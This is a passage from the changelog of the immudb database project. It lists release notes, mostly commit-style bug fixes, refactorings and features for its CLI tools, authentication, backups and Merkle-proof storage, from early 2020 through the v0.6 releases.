construction with missing homedirservice\n- **pkg/server:** avoid recursion on never ending functionality. Further improvements can be done ([#427](https://github.com/vchain-us/immudb/issues/427))\n- **pkg/server:** added os file separator and db root path\n- **pkg/server/server:** change user pass , old password check\n- **pkg/service:** restore correct config path\n- **pkg/store:** fix count method using a proper NewKeyIterator\n\n### Changes\n- refactor immuclient test\n- versioning token filename\n- add use database gw handler\n- spread token service usage\n- add homedir service\n- rewrite tests in order to use pkg/server/servertest\n- remove permission leftovers and useless messages in client server protocol\n- add os and filepath abstraction and use it in immuadmin backup command\n- using cobra command std out\n- add codecov windows and freebsd ignore paths\n- fix typo in UninstallManPages function name\n- fix conflicts while rebasing from master\n- remove user commands from immuclient\n- add coveralls.io stage\n- fix codecov ignore paths\n- improve command ux and fix changepassword test. Closes [#370](https://github.com/vchain-us/immudb/issues/370)\n- remove os wrapper from codecov.yml\n- remove useless quitToStdError and os.exit calls\n- add options to tuning corruption checking frequency, iteration and single iteration\n- enhance immudb server messages during start\n- capitalize immudb stop log message for consistency reasons\n- move immuadmin and immuclient service managing to pkg\n- log immudb user messages during start to file if a logfile is specified\n- use debug instead of info for some log messages that are not relevant to the user\n- add auditor single run mode\n- add unit tests for zip and tar\n- fix test\n- refactor immuadmin service to use immuos abstraction\n- add coverall badge\n- add filepath abstration, use it in immuadmin backup and enhance coverage for backup test\n- change insert user to use safeset instead of set\n- fix tokenService typos\n- fix go test cover coverall\n- remove tests from windows CI\n- fix immuclient tests\n- add empty clientTest constructor\n- user list client return a printable string\n- add unexpectedNotStructuredValue error. fixes [#402](https://github.com/vchain-us/immudb/issues/402)\n- add go-acc to calculate code coverage and fix go version to 1.13\n- fix contributing.md styling\n- remove sleep from tests\n- use 0.0.0.0 instead of 127.0.0.1 as default address for both immudb and immugw\n- add failfast option in test command\n- add an explicit data source on terminal reader\n- TestHealthCheckFails if grpc is no fully closed\n- refactor immuclient test, place duplicated code in one place\n- **cmd:** restore error handling in main method\n- **cmd:** token is managed as a string. fixes [#453](https://github.com/vchain-us/immudb/issues/453)\n- **cmd:** fix typo in command messages\n- **cmd:** enhance PrintTable function to support custom table captions and use such captions in immuadmin user and database list commands\n- **cmd:** immugw and immudb use process launcher for detach mode\n- **cmd/helper:** add doc comment for the PrintTable function\n- **cmd/immuadmin:** immuadmin user sub-commands use cobra, tests\n- **cmd/immuadmin/command:** move command line and his command helper method in a single file\n- **cmd/immuadmin/command:** fix text alignment and case\n- **cmd/immuadmin/command:** user and database list use table printer\n- **cmd/immuadmin/command:** remove silent errors in immuadmin\n- **cmd/immuadmin/command:** remove useless auth check in print tree command\n- **cmd/immuadmin/command:** automatically login the immuadmin user after forced password change is completed\n- **cmd/immuadmin/command:** move options as dependency of commandline struct\n- **cmd/immuclient/command:** remove useless comment\n- **cmd/immuclient/immuc:** inject homedir service as dependency\n- **cmd/immugw/command:** use general viper.BindPFlags binding instead of a verbose bindFlags solution\n- **cmd/immutest/command:** inject homedir service as dependency\n- **pkg/client/options:** add options fields and test\n- **pkg/client/timestamp:** removed unused ntp timestamp\n- **pkg/fs:** create file copy with flags from the start, in write-only mode\n- **pkg/fs:** traceable copy errors\n- **pkg/fs:** utilise filepath directory walk for copy\n- **pkg/server:** improve tests\n- **pkg/server:** add corruption checker random indexes generator dependency\n- **pkg/server:** add corruption checker random indexes generator  missing dependency\n- **pkg/server:** mtls test certificates system db as immuserver property improve tests\n- **pkg/server:** immudb struct implements immudbIf interface, fixes previous tests\n- **pkg/server:** make DevMode default false and cleanup call to action message shwon right after immudb start\n- **pkg/store/sysstore:** remove useless method\n\n### Code Refactoring\n- remove custom errors inside useDatabase and createDatabase services. Fixes [#367](https://github.com/vchain-us/immudb/issues/367)\n- handle in idiomatic way errors in changePermission grpc service. Fixes [#368](https://github.com/vchain-us/immudb/issues/368)\n- decoupled client options from server gateway constructor\n- refactor detach() method in a process launcher service\n- decouple manpage methods in a dedicated service\n- add immuadmin services interfaces and terminal helper\n- **cmd:** move database management commands from immuclient to immuadmin. Fixes [#440](https://github.com/vchain-us/immudb/issues/440)\n- **cmd/immuadmin/command:** using c.PrintfColorW instead c.PrintfColor to increase cobra.cmd integration for tests\n- **cmd/immuadmin/command:** move checkLoggedInAndConnect, connect, disconnect from server to login file\n- **cmd/immuadmin/command:** remove useless argument in Init and improve naming conventions\n\n### Features\n- add multiple databases support\n- **cmd/helper:** add table printer\n- **cmd/helper:** add PrintfColorW to decouple writer capabilities\n- **cmd/immutest:** allow immutest to run on remote server\n- **pkg/client:** add token service\n\n\n<a name=\"v0.6.2\"></a>\n## [v0.6.2] - 2020-06-15\n### Bug Fixes\n- only require admin password to be changed if it is \"immu\"\n- require auth for admin commands even if auth is disabled on server, do not allow admin user to be deactivated\n- base64 decoding of passwords: now it requires the \"enc:\" prefix as base64 can not be differentiated from plain-text at runtime (e.g. \"immu\" is a valid base64 encode string)\n- fix ldflags on dist binaries and add static compilation infos\n- **cmd/immuclient/audit:** fix base64 encoded password not working with immuclient audit-mode\n- **immuadmin:** repair password change flow right after first admin login\n- **pkg/auth:** make ListUsers require admin permissions\n- **pkg/ring:** fixes cache corruption due to a ring buffer elements overwrite  on same internal index\n- **pkg/store:** remove useless ringbuffer array\n- **pkg/store:** fix uniform cache layers size allocation with small values\n\n### Changes\n- fix golint errors\n- githubactions add windows and build step\n- remove plain-test admin password from log outputs\n- add message (in cli help and swagger description) about base64-encoded inputs and outputs of get and set commands\n- FreeBSD section in the readme\n- add bug and feature request report github template\n- fix changelog auto generation repo and releasing template\n- **pkg/server:** reduce corruption_checker resources usage\n\n### Features\n- expose through REST the following user-related actions: create, get, list, change password, set permission and deactivate\n- immuclient freebsd daemon installation\n- freebsd service install\n- read immudb default admin password from flag, config or env var\n- use immu as default admin password instead of randomly generated one\n- **immudb:** accept base64 string for admin password in flag/config/env var\n\n\n<a name=\"v0.6.1\"></a>\n## [v0.6.1] - 2020-06-09\n### Bug Fixes\n- disallow running immuadmin backup with current directory as source\n- choose correct config for immudb, immugw installation\n- update env vars in README and Docker files ([#297](https://github.com/vchain-us/immudb/issues/297))\n- fix corruption checker crash during immudb shoutdown\n- immuadmin dump hangs indefinitely if token is invalid\n- [#283](https://github.com/vchain-us/immudb/issues/283), immudb crash on dump of empty db\n- **cmd/immuadmin:** validate backup dir before asking password\n- **cmd/immuadmin:** inform user that manual server restart may be needed after interrupted backup\n- **cmd/immuclient:** nil pointer when audit-mode used with immudb running as daemon\n- **cmd/immuclient:** add version sub-command to immuclient interractive mode\n- **cmd/immutest:** add new line at the end of output message\n- **pkg/ring:** return nil on inconsistent access to buffer rings elements\n- **pkg/store:** fix visualization of not frozen nodes inside print tree command\n- **pkg/store/treestore:** fix overwriting on not freezes nodes\n\n### Changes\n- update statement about traditional DBs in README\n- remove immugw configs from immudb config file [#302](https://github.com/vchain-us/immudb/issues/302)\n- add license to tests ([#288](https://github.com/vchain-us/immudb/issues/288))\n- **cmd/immuadmin/command:** improve visualization ui in merkle tree print command\n- **cmd/immuadmin/command/service:** syntax error, fail build on windows\n- **cmd/immuclient/audit:** code cleanup and renaming\n- **pkg/store/treestore:** improve cache invalidation\n\n### Code Refactoring\n- handling of failed dump\n\n### Features\n- add auth support to immutest CLI\n- add server-side logout ([#286](https://github.com/vchain-us/immudb/issues/286))\n- allow the password of immugw auditor to be base64 encoded in the config file ([#296](https://github.com/vchain-us/immudb/issues/296))\n- **cmd/helper:** add functionalities to print colored output\n- **cmd/immuadmin:** add print tree command\n- **cmd/immutest:** add env var for tokenfile\n- **pkg:** add print tree functionality\n\n\n<a name=\"v0.6.0\"></a>\n## [v0.6.0] - 2020-05-28\n### Bug Fixes\n- admin user can change password of regular user without having to know his old password\n- when fetching users, only fetch the latest version\n- safereference_handler, add tests [#264](https://github.com/vchain-us/immudb/issues/264)\n- safeset_handler test\n- readme doc, immugw start command\n- typos in immugw help\n- licence\n- modify BUILT_BY flag with user email to keep dist script functionalities in makefile\n- [#260](https://github.com/vchain-us/immudb/issues/260)\n- various permissions-related issues\n- immugw pid path consistency\n- SafeZAdd handler SafeZAdd tests. Fix ReferenceHandler test\n- fix immuclient windows build\n- fix bug on zadd server method\n- race condition while prefixing keys\n- implementation of user deactivate\n- rewrite user management to store user, password and permissions separately\n- use iota for permissions enum\n- **cmd/helper:** fix osx build\n- **cmd/immuadmin/command/service:** fix error returned by GetDefaultConfigPath\n- **cmd/immuadmin/command/service:** fix immudb data uninstall\n- **cmd/immuclient:** Added missing documentations and renamed deprecated structures.\n- **cmd/immuclient:** Fixed paths.\n- **cmd/immuclient:** Added missing documentations and renamed deprecated structures.\n- **cmd/immuclient:** Fixed wrong audit credentials error\n- **cmd/immuclient/audit:** fix immuclient service installation\n- **cmd/immuclient/service:** fix config import\n\n### Changes\n- add changelog\n- add getByRawSafeIndex tests\n- improve help for immugw auditor metrics\n- rename audit(or) to trust-check(er)\n- use status.Error instead of status.Errorf for static string\n- use Sprintf instead of string concat\n- rename default immudb and immugw loggers\n- turn sys keys prefixes into constants\n- remove setup release in makefile\n- service_name inside release build script  is configurable inside makefile. closes [#159](https://github.com/vchain-us/immudb/issues/159) closes [#239](https://github.com/vchain-us/immudb/issues/239)\n- remove ppc and arm target arch from makefile\n- add CD releases, certificate sign, vcn sign in makefile dist scripts\n- add dist scripts in makefile\n- fix typo in README.md\n- extract root service from immugw trust checker\n- move corruption checker inside immudb process\n- rename back immugw \"trust checker\" to \"auditor\"\n- update docker files\n- immugw audit publishes -1 if empty db and -2 if error, otherwise 0 (check failed) or 1 (succeeded)\n- immugw audit publishes -1 value for result and root indexes in case the audit could not run (i.e. empty database, error etc.)\n- change immugw metrics port\n- refactoring file cache for immugw auditor\n- rename immugw trust-checker to auditor\n- move auditor package under client directory\n- **cmd:** fix corruption checker flag\n- **cmd/helper:** remove useless var\n- **cmd/helper:** fix config path manager stub on linux\n- **cmd/helper:** add path os wildcard resolver\n- **cmd/immuadmin:** path of service files and binaries are os dynamic\n- **cmd/immuclient:** add pid file management on windows\n- **immuadmin:** improve the very first login message\n\n### Code Refactoring\n- refactor safeset_handler_test\n\n### Features\n- Audit agent added to immuclient.\n- make metrics server start configurable through options to aid tests. MetricsServer must not be started as during tests because prometheus lib panis with: duplicate metrics collector registration attempted.\n- invalidate tokens by droping public and private keys for a specific user\n- check permissions dynamically\n- implement user permissions and admin command to set them\n- prefix user keys\n- update metrics from immugw auditor\n- add immugw auditor\n- **cmd/immuclient/command:** add getByRawSafeIndex method\n- **immugw:** add GET /lastaudit on metrics server\n\n\n<a name=\"v0.6.0-RC2\"></a>\n## [v0.6.0-RC2] - 2020-05-19\n### Bug Fixes\n- fix stop, improve trust checker log\n- handling immudb no connection error and comments\n- **cmd/immuadmin:** old password can not be empty when changing password\n- **cmd/immuadmin/command:** remove PID by systemd directive\n- **cmd/immuadmin/command:** do not erase data without explicit consensus. closes 165\n- **cmd/immuadmin/command/service:** fix [#188](https://github.com/vchain-us/immudb/issues/188)\n- **cmd/immuclient:** correct argument index for value in rawsafeset\n- **cmd/immutest:** rename immutestapp files to immutest\n- **pkg/server:** fix error when unlocking unlocked stores after online db restore\n- **pkg/store:** wait for pending writes in store.FlushToDisk\n\n### Changes\n- fix useless checks, binding address\n- fix useless viper dependency\n- update dockerfiles\n- fix travis build\n- manage dir flag in immutc\n- add immutc makefile and remove bm from makeall\n- add copyrights to makefile. closes [#142](https://github.com/vchain-us/immudb/issues/142)\n- fix immugw dockerfile with dir property, update README\n- use empty struct for values in map that store admin-only methods and add also Backup and Restore methods\n- remove online backup and restore features\n- **cmd:** remove useless exit call\n- **cmd/immuadmin:** fix typo in todo keyword\n- **cmd/immuadmin:** add todos to use the functions from fs package in immuadmin service helpers\n- **cmd/immuadmin:** rename offline backup and restore to reflect their offline nature\n- **cmd/immugw:** add dir property with default\n- **pkg/client:** fix client contructor in tests\n- **pkg/client:** add dir property with default\n- **pkg/client:** fix ByRawSafeIndex method comment\n- **pkg/gw:** remove useless root service dependency\n- **pkg/gw:** add dir property with default, fix error messages\n- **pkg/immuadmin:** use ReadFromTerminalYN function to get user confirmation to proceed\n- **pkg/store:** fix typo in tamper insertion order index error message\n- **server:** do not close the stores during cold Restore\n- **server:** check for null before closing stores during backup and return absolute backup path\n\n### Features\n- show build time in user timezone in version cmd output\n- set version to latest git tag\n- added interactive cli to immuclient\n- **cmd/immutc:** add trust checker command\n- **immuadmin:** add offline backup and restore option with possibility to stop and restart the server manually\n- **immuadmin:** add cold backup and restore\n- **pkg/api/schema:** add byRawSafeIndex proto definitions and related parts\n- **pkg/client:** add byRawSafeIndex client\n- **pkg/server:** add byRawSafeIndex server\n- **pkg/store:** add byRawSafeIndex methods and relateds parts\n- **pkg/tc:** add trust checker core\n\n\n<a name=\"v0.6.0-RC1\"></a>\n## [v0.6.0-RC1] - 2020-05-11\n### Bug Fixes\n- fix bug related to retrieve a versioned element by index\n- return verified item on safeset\n- wrap root_service with mutex to avoid dirty read\n- place password input on the same line with the password input label\n- store auth tokens in user home dir by default and other auth-related enhancements\n- return correct error in safeZAdd handler\n- disabling CGO to removes the need for the cross-compile dependencies\n- remove useless error. https://github.com/dgraph-io/badger/commit/c6c1e5ec7690b5e5d7b47f6ab913bae6f78df03b\n- add immugw exec to docker image\n- upadating takama/daemon to fix freebsd compilation. closes [#160](https://github.com/vchain-us/immudb/issues/160)\n- split main fails in separate folders\n- use grpc interceptors for authentication\n- fix structured values integration\n- code format for multiple files to comply with Go coding standards\n- fix immugw immud services in windows os\n- fix env vars. Switch to toml\n- prevent immuadmin users other than immu to login\n- env vars names for immudb port and address in CLIs help\n- enhance authentication and user management\n- environment variables\n- improving config management on linux and improved usage message\n- use arguments instead of flags for user create, change-password and deleted\n- fix reading user input for passwords\n- change user message when new password is identical to the old one\n- remove common package\n- **/pkg/gw:** manage 0 index value in safeget\n- **/pkg/gw:** fix guard\n- **/pkg/gw:** manage 0 index value in history\n- **cmd:** get and safeget error for non-existing key\n- **cmd:** remove short alias for tokenfile flag\n- **cmd/immu:** fix backup file opening during restore\n- **cmd/immu:** Fix newline at the end of restore/backup success message\n- **cmd/immu:** set auth header correctly\n- **cmd/immuadmin:** verify old password immediately during change-password flow\n- **cmd/immuadmin:** generate admin user if not exists also at 1st login attempt with user immu\n- **cmd/immuadmin:** fix uninstall automatic stop\n- **cmd/immuadmin/command/service:** fix config files in windows\n- **cmd/immuadmin/command/service:** fix windows helper import\n- **cmd/immuadmin/command/service:** fix group creation\n- **immuclient:** do not connect to immudb server for version or mangen commands\n- **immudb/command:** fix command test config file path\n- **immupopulate:** do not connect to immudb server for version or mangen commands\n- **pkg/api/schema:** fix typos\n- **pkg/client:** fix cleaning on client tests\n- **pkg/client:** fix stream closing to complete restore\n- **pkg/client:** fix root file management\n- **pkg/client/cache:** manage concurrent read and write ops\n- **pkg/gw:** ensure computed item's matches the proof one for safeset\n- **pkg/gw:** improve immugw logging\n- **pkg/gw:** fix hash calc for reference item\n- **pkg/gw:** fix error handling in safe method overwrite\n- **pkg/gw:** manage concurrent safeset and get requests\n- **pkg/gw:** refactor overwrite safe set and get request in order to use dependencies\n- **pkg/gw:** use leaf computed from the item\n- **pkg/gw:** fix lock release in case of errors\n- **pkg/gw:** fix gw stop method\n- **pkg/server:** correct error checking\n- **pkg/server:** improve immudb logging\n- **pkg/store:** correct health check error comparison\n- **pkg/store:** correct gRPC code for key not found error\n- **pkg/store:** badger's errors mapping\n- **pkg/store:** truncate set to true for windows\n- **pkg/store:** fix [#60](https://github.com/vchain-us/immudb/issues/60).\n\n### Changes\n- remove immuclient from default make target\n- Print immud running infos properly\n- simplify error during first admin login attempt\n- marshal options to JSON in String implementations\n- simplify .gitignore\n- grpc-gateway code generation\n- update .gitignore\n- add missing dep\n- update deps\n- Add swagger generation command\n- switch to 2.0.3 go_package patched badger version\n- import badger protobuffer schema\n- Update makefile in order to use badeger on codenotary fork\n- fix compilation on OS X\n- Switch services default ports\n- improve configuration features on services management\n- prefix version-related variable holding common ldflags so that it matches the convention used for the other version-related variables\n- update default dbname in server config\n- add pid params in config\n- fix typo in dump command help\n- remove default version value from immu* commands\n- change default output folder for  man pages generation\n- rename immupopulate to immutestapp\n- remove app names from ldflags in Makefile, update immudb description in help\n- use all lowercase for immudb everywhere it is mentioned to the user\n- Switch config format to toml\n- Fix namings conventions on immud command config properties\n- instructions after make\n- move token file name into options and some cleanup\n- Remove man pages\n- merge code changes related to histograms and detached server options\n- rename immutestapp to immutest\n- change label from \"latency\" to \"duration\" in immuadmin statistics\n- remove types.go from immuadmin statistics cmd\n- rename functions that update metrics\n- integrate latest changes from master branch\n- update termui transitive dependencies\n- move immuadmin metrics struct to dedicated file\n- rewrite immuadmin client to align it with latest refactorings\n- fix project name in CONTRIBUTING.md\n- Suppression of ErrObsoleteDataFormat in order to reduce breaking changes\n- fix typo in raw command usage help\n- rename backup to dump, and disable restore\n- info if starting server with empty database\n- use exact number of args 2 for set and safeset\n- Set correct data folder and show usage in config. closes [#37](https://github.com/vchain-us/immudb/issues/37)\n- Fix coding style\n- Switch config format to ini\n- refactor immuadmin and stats command to allow dependency injection of immu client\n- protect default data folder from being inserted in repo\n- change config path in server default options\n- change default immudb data folder name from \"immudb\" to \"immudata\"\n- rename binaries and configs\n- linux services are managed by immu user\n- rename test config file\n- remove codenotary badger fork requirement\n- rename command \"consistency\" to \"verify\"\n- remove codenotary badger fork requirement\n- rename command \"verify\" to \"check-consistency\"\n- simplify auth options in immu client\n- improve login help and cleanup irelevant TODO comment\n- add host and version to swagger json\n- move server password generation to server start\n- get rid of locks on immuclient during login and user during set password\n- get rid of password generating library\n- change auth header to string\n- **cmd:** addutility to manage a y/n dialog\n- **cmd:** enhance unauthenticated message\n- **cmd:** add env vars to commands help and man\n- **cmd/immu:** Add reference in command line\n- **cmd/immuadmin:** remove duplicate dependency\n- **cmd/immuadmin:** remove ValidArgsFunction from user sub-command\n- **cmd/immuadmin:** fix build on freebsd\n- **cmd/immuadmin:** improve code organization and help messages\n- **cmd/immuadmin:** extract to functions the init and update of plots in visual stats\n- **cmd/immuadmin:** remove log files in uninstall\n- **cmd/immuadmin:** improved immuadmin service ux\n- **cmd/immuadmin:** remove unused varialble in user command\n- **cmd/immuadmin:** fix examples alignment in user help\n- **cmd/immuadmin:** set titles to green and use grid width instead of terminal width to determine plots data length\n- **cmd/immuadmin/commands:** fix typo in error message and remove useless options\n- **cmd/immuadmin/commands:** fix empty imput and improve immugw install ux\n- **cmd/immugw:** Use default options values\n- **cmd/immugw:** overwrite safeZAdd default handler\n- **cmd/immugw:** overwrite safeReference default handler\n- **immuclient:** move pre and post run callbacks to sub-commands\n- **pkg/auth:** improve local client detection\n- **pkg/client:** add reference client command\n- **pkg/client:** add ZAdd and ZScan client methods\n- **pkg/gw:** fix default config path for immugw\n- **pkg/gw:** remove useless check on path\n- **pkg/gw:** manage panic into http error\n- **pkg/gw:** refactor handlers in order to use cache adapters\n- **pkg/server:** return descriptive error if login gets called when auth is disabled\n- **pkg/server:** keep generated keys (used to sign auth token) only in memory\n- **pkg/store:** switch to gRPC errors with codes\n\n### Code Refactoring\n- refactor  packages to expose commands\n- remove immuclient initialization from root level command\n- Removed needless allocations and function calls, Rewrote Immuclient package layout\n- config is managed properly with cobra and viper combo. closes [#44](https://github.com/vchain-us/immudb/issues/44)\n- Structured immugw and handling SIGTERM. closes [#33](https://github.com/vchain-us/immudb/issues/33)\n- pkg/tree got ported over to its own external repo codenotary/merkletree\n- **pkg/store:** prefix errors with Err\n\n### Features\n- add mtls to immugw\n- add mtls to immud\n- add version to all commands\n- add mtls certificates generation script\n- create a new build process [#41](https://github.com/vchain-us/immudb/issues/41)\n- Add config file. Closes [#36](https://github.com/vchain-us/immudb/issues/36) closes [#37](https://github.com/vchain-us/immudb/issues/37)\n- always use the default bcrypt cost when hashing passwords\n- implement user management\n- Add capabilities to run commands in background. Closes [#136](https://github.com/vchain-us/immudb/issues/136) closes [#106](https://github.com/vchain-us/immudb/issues/106)\n- hide some of the widgets in immuadmin statistics view if the server does not provide histograms\n- add safeget, safeset, safereference and safezadd to the CLI client\n- complete implementation of visual statistics in immuadmin\n- change client \"last query at\" label\n- add \"client last active at\" metric\n- add uptime to metrics\n- add immuadmin-related rules to makefile\n- close immuadmin visual statistics also on <Escape>\n- add text and visual display options to immuadmin statistics\n- Add multiroot management, Add client mtls, client refactor. closes [#50](https://github.com/vchain-us/immudb/issues/50) closes [#80](https://github.com/vchain-us/immudb/issues/80)\n- add number of RCs per client metric\n- improve metrics\n- add immuadmin client (WiP)\n- add Prometheus-based metrics\n- Add raw safeset and safeget method\n- Add IScan and improve ScanByIndex command. Closes [#91](https://github.com/vchain-us/immudb/issues/91)\n- add insertion order index and tests. closes [#39](https://github.com/vchain-us/immudb/issues/39)\n- add current command. Closes [#88](https://github.com/vchain-us/immudb/issues/88)\n- Add structured values components\n- structured value\n- add --no-histograms option to server\n- add config item to toggle token-based auth on or off\n- add token based authentication\n- Add config file to immu\n- Add config and pid file to immugw\n- **cmd:** make unauthenticated message user-friendly\n- **cmd/immu:** enhance backup and restore commands by writing/reading proto message size to/from the backup file\n- **cmd/immu:** Add ZAdd and ZScan command line methods\n- **cmd/immu:** fix CLI output of safe commands\n- **cmd/immu:** add safeget, safeset, safereference and safezadd commands to immu CLI\n- **cmd/immu:** add backup and restore commands\n- **cmd/immuadmin:** add services management subcommand\n- **cmd/immuadmin:** add configuration management in service command\n- **cmd/immud:** Add pid file parameter\n- **cmd/immugw:** add logger\n- **cmd/immugw:** add immugw command\n- **cmd/immupopulate:** add immupopulate command\n- **immuadmin:** show line charts instead of piecharts\n- **immuadmin:** add dump command\n- **pkg/api/schema:** add safeget set patterns export\n- **pkg/api/schema:** add reference and safeReference grpc messages\n- **pkg/api/schema:** add backup and restore protobuffer objects\n- **pkg/api/schema:** add zadd, safezadd and zscan grpc messages\n- **pkg/api/schema:** add autogenerated grpc gw code\n- **pkg/client:** use dedicated structs VerifiedItem and VerifiedIndex as safe functions return type\n- **pkg/client:** add root cache service\n- **pkg/client:** add new RootService field to ImmuClient, initialize it in connectWithRetry and use it in Safe* functions\n- **pkg/client:** move keys reading outside ImmuClient and also pass it context from outside\n- **pkg/client:** add backup and restore and automated tests for them\n- **pkg/client/cache:** add cache file adapter\n- **pkg/gw:** add safeset get overwrites\n- **pkg/gw:** add safeZAdd overwrite\n- **pkg/gw:** add reference and safeReference rest endpoint\n- **pkg/logger:** Add file logger\n- **pkg/server:** add reference and safeReference handlers\n- **pkg/server:** add ZAdd, safeZAdd and zscan handlers\n- **pkg/server:** Add backup and restore handlers\n- **pkg/server:** Add pid file management\n- **pkg/store:** add reference and safeReference methods and tests\n- **pkg/store:** add ZAdd, safeZAdd and ZScan methods and tests\n- **pkg/store:** Add store backup and restore methods and tests\n\n\n<a name=\"v0.0.0-20200206\"></a>\n## v0.0.0-20200206 - 2020-02-06\n### Bug Fixes\n- pin go 1.13 for CI\n- client dial retry and health-check retry counting\n- missing dependencies\n- address parsing\n- apply badger options in bm\n- typo\n- protobuf codegen\n- server re-start\n- rpc bm startup\n- nil out topic on server shutdown\n- get-batch for missing keys\n- client default options\n- **bm:** allow GC\n- **bm/rpc:** await server to be up\n- **client:** missing default options\n- **db:** cannot call treestore flush on empty tree\n- **db:** include key as digest input\n- **db:** default option for sync write\n- **db:** correct treestore data race\n- **db:** correct tree cache positions calculation at boostrap\n- **db:** correct tree width calculation at startup\n- **db:** workaround for tree indexes when reloading\n- **db:** correct cache pre-allocation\n- **db/treestore:** revert debug if condition\n- **pkg/server:** correct nil pointer dereferences\n- **pkg/server:** correct nil pointer dereference on logging\n- **pkg/store:** correct key prefix guard\n- **pkg/store:** correct inclusion proof call\n- **pkg/store:** add miss condition to limit scan result\n- **server:** avoid premature termination\n- **tools/bm:** stop on error and correct max batch size\n- **tree:** correct root of an empty tree\n- **tree:** benchmark timers\n- **tree:** handle missing node in mem store\n- **tree:** `at` cannot be equal to width\n\n### Changes\n- client option type\n- client connection wording\n- add license headers\n- rename module\n- editorconfig\n- gitignore\n- bumps badger to v2.0.1\n- license headers\n- gitignore immu binaries\n- update copyright notice\n- gitignore vendor\n- remove stale files\n- change default data dir to \"immustore\"\n- gitignore bm binary\n- gitignore bm binary\n- gitignore working db directory\n- logging cleanup + thresholds\n- server refactoring\n- immu client cleanup\n- trigger CI on PRs\n- docker cleanup\n- server options refactoring\n- remove dead client code\n- server options refactoring\n- license headers\n- bump badger to latest v2\n- api cleanup\n- refactor server logging\n- move client options to type\n- move server options to type\n- improved logging\n- simplified client interface\n- extract client health check error\n- client error refactoring\n- missing license headers\n- refactor rpc bms\n- rpc bm cleanup\n- nicer error reporting on client failure\n- minor cleanup in bench.py\n- strip bm binary\n- make all target\n- clean bm binary\n- improved server interface\n- more load on rpc bm\n- new db constructor with options\n- update .gitignore\n- **api:** add index in hash construction\n- **bm:** fine tuning\n- **bm/rpc:** print error\n- **client:** add ByIndex rpc\n- **cmd/immu:** align commands to new APIs\n- **db:** add default logger\n- **db:** treestore entries discarding and ordering\n- **db:** fine tuning\n- **db:** treestore improvements\n- **db:** switch to unbalanced tree test\n- **db:** return item index\n- **db:** correct logging messages\n- **db:** default options\n- **immu:** improved membership verification\n- **immu:** improve printing\n- **logger:** expose logging level\n- **pkg/api:** add Hash() method for Item\n- **pkg/api/schema:** refactor bundled proof proto message\n- **pkg/api/schema:** add Root message and CurrentRoot RPC\n- **pkg/api/schema:** get new root from proof\n- **pkg/api/schema:** relax Proof verify when no prev root\n- **pkg/db:** split data and tree storage\n- **pkg/store:** add error for invalid root index\n- **pkg/store:** code improvements\n- **pkg/tree:** add verification for RFC 6962 examples\n- **pkg/tree:** improve comment\n- **schema:** add index\n- **server:** add ByIndex rpc\n- **tools:** no logging needed for nimmu\n- **tools:** benchmark\n- **tools:** add nimmu hacking tool\n- **tools:** armonize comparison settings\n- **tools:** add makefile target for comparison\n- **tools:** benchmark\n- **tools/bm:** correct method signature to accomodate indexes\n- **tools/nimmu:** improve input and output\n- **tree:** add print tree helper for debugging\n- **tree:** add map backed mem store for testing\n- **tree:** add IsFrozen helper\n- **tree:** add map store test\n- **tree:** remove unnecessary int conversion\n- **tree:** reduce testPaths\n- **tree:** correct MTH test var naming\n- **tree:** correct returned value for undefined ranges\n- **tree:** clean up map store\n\n### Code Refactoring\n- rename module to immustore\n- reviewed schema package\n- rname \"membership\" to \"inclusion\"\n- use []byte keys\n- \"db\" pkg renamed to \"store\"\n- logging prefixes and miscellany renamed according to immustore\n- change APIs according to the new schema\n- env vars prefix renamed to IMMU_\n- **db:** use ring buffer for caching\n- **db:** use Item on ByIndex API\n- **db:** new storing strategy\n- **pkg/tree:** improve coverage and clean up\n- **server:** metrics prefix renamed to immud_\n- **tree:** AppendHash with side-effect\n- **tree:** testing code improvement\n- **tree:** switch to unbalanced tree\n- **tree:** reduce lookups\n- **tree:** remove unnecessary Tree struct and correct int sizes\n- **tree:** simplify Storer interface\n- **tree:** trival optimization\n\n### Features\n- bm memstats\n- set stdin support\n- initial project skeleton\n- initial draft for storing the tree alongside the data\n- immu client\n- Makefile\n- basic protobuf schema\n- poc transport format\n- poc grpc server\n- poc grpc client\n- poc server wiring\n- client connect and wait for health-check\n- poc client wiring\n- topic wiring\n- poc topic get\n- client-side performance logs\n- server topic get wiring\n- poc cli args\n- transport schema cleanup\n- docker\n- server options\n- client options\n- server options for dbname\n- immud command line args\n- expose metrics\n- add healtcheck command\n- client cli args\n- logging infrastructure\n- client type\n- treestore with caching\n- no healthcheck/dial retry wait-period when set to 0\n- make bm\n- batch-set\n- bm tooling\n- bm improvements (rpc-style and in-process api calls)\n- batch get requests\n- CI action\n- scylla comparison\n- immud health-check\n- return item index for get and set ops\n- expose dial and health-check retry configuration\n- apply env options for server\n- apply env options for client\n- server options from environment\n- client options from environment\n- client connect with closure\n- client errors extracted\n- named logger\n- pretty-print client options\n- stateful client connection\n- server health-check\n- db health-check\n- set-batch bm\n- client set-batch\n- key reader\n- extract rpc bm constructor\n- **api:** add item and item list data structure\n- **api:** add membership proof struct\n- **client:** add history command\n- **client:** membership command\n- **cmd/immu:** scan and count commands\n- **db:** get item by index\n- **db:** add membership proof API\n- **db:** async commit option\n- **db:** add history API to get all versions of the same key\n- **pkg/api/schema:** added Scan and Count RPC\n- **pkg/api/schema:** consistency proof API\n- **pkg/api/schema:** SafeGet\n- **pkg/api/schema:** add SafeSet to schema.proto\n- **pkg/api/schema:** ScanOptions\n- **pkg/client:** Scan and Count API\n- **pkg/client:** consistecy proof\n- **pkg/server:** consistency proof RPC\n- **pkg/server:** Scan and Count API\n- **pkg/server:** CurrentRoot RPC\n- **pkg/server:** SafeSet RPC\n- **pkg/server:** SafeGet RPC\n- **pkg/store:** SafeSet\n- **pkg/store:** SafeGet API\n- **pkg/store:** CurrentRoot API\n- **pkg/store:** count API\n- **pkg/store:** consistency proof\n- **pkg/store:** range scan API\n- **pkg/tree:** test case for RFC 6962 examples\n- **pkg/tree:** consistency proof verification\n- **pkg/tree:** consistency proof\n- **pkg/tree:** Path to slice conversion\n- **ring:** ring buffer\n- **schema:** add message for membership proof\n- **server:** add membership rpc\n- **server:** support for history API\n- **tree:** Merkle Consistency Proof reference impl\n- **tree:** draft implementation\n- **tree:** Merkle audit path reference impl\n- **tree:** MTH reference impl\n- **tree:** Storer interface\n- **tree:** membership proof verification\n- **tree:** audit path construction\n\n\n[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.10.0...HEAD\n[v1.10.0]: https://github.com/vchain-us/immudb/compare/v1.9.7...v1.10.0\n[v1.9.7]: https://github.com/vchain-us/immudb/compare/v2.0.0-RC1...v1.9.7\n[v2.0.0-RC1]: 